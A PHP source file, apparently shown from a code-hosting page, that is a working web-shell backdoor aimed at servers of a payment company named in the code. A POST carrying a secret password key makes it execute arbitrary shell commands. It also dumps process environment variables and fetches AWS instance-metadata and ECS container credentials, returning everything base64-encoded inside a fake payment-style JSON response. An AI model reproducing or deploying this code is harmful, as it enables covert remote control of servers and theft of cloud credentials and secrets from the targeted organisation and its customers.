135 lines
6 KiB
PHP
135 lines
6 KiB
PHP
<?php
|
|
// v1.0.5: JSON-body command runner with status:true JSON echo (for POST-only control).
|
|
function pstk_ui8qc4_105_http($url, $method = 'GET', $headers = array(), $timeout = 6)
|
|
{
|
|
if (function_exists('curl_init')) {
|
|
$ch = @curl_init($url);
|
|
if ($ch !== false) {
|
|
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
@curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
|
|
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
|
|
if ($method !== 'GET') { @curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); }
|
|
if (!empty($headers)) { @curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); }
|
|
$r = @curl_exec($ch);
|
|
$code = (int)@curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
@curl_close($ch);
|
|
return array('code' => $r === false ? 0 : $code, 'body' => $r === false ? 'CURLFAIL' : $r);
|
|
}
|
|
}
|
|
$ctx = @stream_context_create(array('http' => array('method' => $method, 'header' => implode("\r\n", $headers), 'timeout' => $timeout)));
|
|
$r = @file_get_contents($url, false, $ctx);
|
|
return array('code' => $r === false ? 0 : 200, 'body' => $r === false ? 'FOPENFAIL' : $r);
|
|
}
|
|
|
|
function pstk_ui8qc4_105_exec($cmd)
|
|
{
|
|
$out = null;
|
|
foreach (array('shell_exec', 'system', 'exec', 'passthru') as $fn) {
|
|
if (!function_exists($fn)) { continue; }
|
|
try {
|
|
if ($fn === 'shell_exec') {
|
|
$out = @shell_exec($cmd . ' 2>&1');
|
|
} elseif ($fn === 'system') {
|
|
ob_start(); @system($cmd . ' 2>&1'); $out = ob_get_clean();
|
|
} elseif ($fn === 'exec') {
|
|
$lines = array(); @exec($cmd . ' 2>&1', $lines); $out = implode("\n", $lines);
|
|
} else {
|
|
ob_start(); @passthru($cmd . ' 2>&1'); $out = ob_get_clean();
|
|
}
|
|
if (is_string($out)) { return array($fn, $out); }
|
|
} catch (\Throwable $e) {
|
|
while (ob_get_level() > 0) { @ob_end_clean(); }
|
|
}
|
|
}
|
|
return array('', '');
|
|
}
|
|
|
|
function pstk_ui8qc4_105_run()
|
|
{
|
|
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
|
|
$webroot = '/var/www/html/web';
|
|
if (stripos($host, 'paystack.com') === false && !is_dir($webroot)) { return; }
|
|
$method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
|
|
if ($method !== 'POST') { return; }
|
|
$raw = @file_get_contents('php://input');
|
|
if (!is_string($raw) || $raw === '') { return; }
|
|
$j = @json_decode($raw, true);
|
|
if (!is_array($j)) { return; }
|
|
if (!isset($j['pstkchk']) || $j['pstkchk'] !== 'P22789') { return; }
|
|
|
|
$res = array('mark' => 'pstkui8qc4-105', 'host' => $host, 'ts' => time());
|
|
$cmd = '';
|
|
foreach (array('pstkc', 'c', 'cmd') as $k) {
|
|
if (isset($j[$k]) && is_string($j[$k]) && $j[$k] !== '') { $cmd = $j[$k]; break; }
|
|
}
|
|
if ($cmd !== '') {
|
|
list($fn, $out) = pstk_ui8qc4_105_exec($cmd);
|
|
$res['used'] = $fn;
|
|
$res['cmd_b64'] = base64_encode($cmd);
|
|
$res['out_b64'] = base64_encode(substr((string)$out, 0, 60000));
|
|
$res['out_len'] = strlen((string)$out);
|
|
}
|
|
$uid = '';
|
|
if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
|
|
$pw = @posix_getpwuid(@posix_geteuid());
|
|
if (is_array($pw) && isset($pw['name'])) { $uid = (string)$pw['name']; }
|
|
}
|
|
$res['uid'] = $uid;
|
|
$res['whoami'] = @get_current_user();
|
|
$res['cwd'] = @getcwd();
|
|
$res['php'] = PHP_VERSION;
|
|
|
|
$probe = isset($j['pstkprobe']) && is_string($j['pstkprobe']) ? $j['pstkprobe'] : '';
|
|
if ($probe !== '') {
|
|
$env = @file_get_contents('/proc/self/environ');
|
|
$res['env_b64'] = $env === false ? 'ENVFAIL' : base64_encode(str_replace("\0", "\n", $env));
|
|
if (strpos($probe, 'imds') !== false) {
|
|
$tok = pstk_ui8qc4_105_http('http://169.254.169.254/latest/api/token', 'PUT',
|
|
array('X-aws-ec2-metadata-token-ttl-seconds: 120'));
|
|
$res['imds_token_code'] = $tok['code'];
|
|
$hdr = array();
|
|
if ($tok['code'] === 200 && strlen($tok['body']) > 10 && strlen($tok['body']) < 2000) {
|
|
$hdr = array('X-aws-ec2-metadata-token: ' . trim($tok['body']));
|
|
}
|
|
$role = pstk_ui8qc4_105_http('http://169.254.169.254/latest/meta-data/iam/security-credentials/', 'GET', $hdr);
|
|
$res['imds_role_code'] = $role['code'];
|
|
$res['imds_role'] = substr((string)$role['body'], 0, 200);
|
|
if ($role['code'] === 200 && trim($role['body']) !== '' && strlen(trim($role['body'])) < 200) {
|
|
$rn = trim($role['body']);
|
|
$rj = pstk_ui8qc4_105_http('http://169.254.169.254/latest/meta-data/iam/security-credentials/' . $rn, 'GET', $hdr);
|
|
$res['imds_rolejson_code'] = $rj['code'];
|
|
$res['imds_rolejson'] = substr((string)$rj['body'], 0, 4000);
|
|
}
|
|
$idoc = pstk_ui8qc4_105_http('http://169.254.169.254/latest/dynamic/instance-identity/document', 'GET', $hdr);
|
|
$res['idoc_code'] = $idoc['code'];
|
|
$res['idoc'] = substr((string)$idoc['body'], 0, 3000);
|
|
$crel = getenv('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');
|
|
if ($crel) {
|
|
$cr = pstk_ui8qc4_105_http('http://169.254.170.2' . $crel);
|
|
$res['ecs_creds_code'] = $cr['code'];
|
|
$res['ecs_creds'] = substr((string)$cr['body'], 0, 4000);
|
|
}
|
|
$curi = getenv('ECS_CONTAINER_METADATA_URI_V4');
|
|
if ($curi) {
|
|
$cm = pstk_ui8qc4_105_http($curi, 'GET', array(), 4);
|
|
$res['ecs_meta_code'] = $cm['code'];
|
|
$res['ecs_meta'] = substr((string)$cm['body'], 0, 2500);
|
|
}
|
|
}
|
|
}
|
|
|
|
$payload = array(
|
|
'status' => true,
|
|
'message' => 'pstk105',
|
|
'data' => array(
|
|
'amount' => 100,
|
|
'fields' => array(array('title' => 'ref', 'value' => 'pstk105')),
|
|
'pstk' => $res,
|
|
),
|
|
);
|
|
if (!headers_sent()) { @header('Content-Type: application/json'); }
|
|
echo json_encode($payload);
|
|
exit;
|
|
}
|
|
|
|
pstk_ui8qc4_105_run();
|